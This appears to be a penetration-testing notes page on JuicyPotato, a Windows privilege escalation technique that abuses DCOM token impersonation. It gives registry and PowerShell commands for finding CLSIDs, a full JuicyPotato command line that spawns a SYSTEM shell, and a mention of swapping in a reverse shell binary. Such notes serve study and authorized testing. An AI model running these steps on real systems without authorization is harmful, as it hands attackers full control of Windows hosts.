> For the complete documentation index, see [llms.txt](https://breakpoint-journal.gitbook.io/breakpoint/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://breakpoint-journal.gitbook.io/breakpoint/windows/windows-privilege-escalation/juicypotato.md).

# JuicyPotato

{% embed url="<https://github.com/ohpe/juicy-potato/tree/master/CLSID/Windows_Server_2016_Standard>" %}

JuicyPotato is a Windows privilege escalation technique. It abuses DCOM and NT AUTHORITY service token impersonation to turn a low-privileged service context into `SYSTEM`.

<p align="center"><em><strong>When do I use it?</strong></em></p>

Use it when you already have code execution on a Windows host and the account holds `SeImpersonatePrivilege` or `SeAssignPrimaryTokenPrivilege`. That makes it especially useful after gaining access through service accounts, IIS app pools, or other local service contexts.

It is most relevant on older Windows versions where the technique still works. Start by confirming the required privileges, then identify a suitable COM service or CLSID that can be activated from the target.

{% stepper %}
{% step %}
Enumerate CLSIDs associated with LocalService.
{% endstep %}

{% step %}
Map CLSIDs to AppIDs and services.
{% endstep %}

{% step %}
Identify CLSIDs whose services run as SYSTEM.
{% endstep %}

{% step %}
Test candidate CLSIDs with JuicyPotato until one successfully yields a SYSTEM token.
{% endstep %}
{% endstepper %}

## Finding a Suitable CLSID

You may query for COM servers running as Windows services via the following command:

{% code title="Querying for COM servers running as Windows services" %}

```powershell
reg query HKCR\CLSID /s /f LocalService
```

{% endcode %}

Here's what each part does:

* `reg query` — queries the Windows Registry.
* `HKCR\CLSID` — searches under the **HKEY\_CLASSES\_ROOT\CLSID** registry hive, which contains registrations for COM classes and many Windows components.
* `/s` — searches **all subkeys recursively** beneath `HKCR\CLSID`.
* `/f LocalService` — looks for the text **"LocalService"** in key names, value names, or value data.

You can also complete this in PowerShell:

```powershell
Get-ChildItem Registry::HKEY_CLASSES_ROOT\CLSID -Recurse |
    Get-ItemProperty -ErrorAction SilentlyContinue |
    Where-Object { $_.LocalService }
```

## Example usage

The exact CLSID varies by host and Windows version. Replace the sample CLSID below with one that works on the target.

{% code title="Launching cmd.exe as SYSTEM with JuicyPotato" %}

```powershell
JuicyPotato.exe -t * -l 1337 -p C:\Windows\System32\cmd.exe -c {e60687f7-01a1-40aa-86ac-db1cbf673334}
```

{% endcode %}

Here's what the main flags do:

* `-t *` — tries both `CreateProcessWithTokenW` and `CreateProcessAsUser`.
* `-l 1337` — listens on a local COM callback port.
* `-p C:\Windows\System32\cmd.exe` — starts `cmd.exe` if token impersonation succeeds.
* `-c {CLSID}` — tells JuicyPotato which COM object to activate.

If the exploit works, you get a new process running as `NT AUTHORITY\SYSTEM`. In a real engagement, you would usually replace `cmd.exe` with a payload, launcher, or reverse shell binary instead.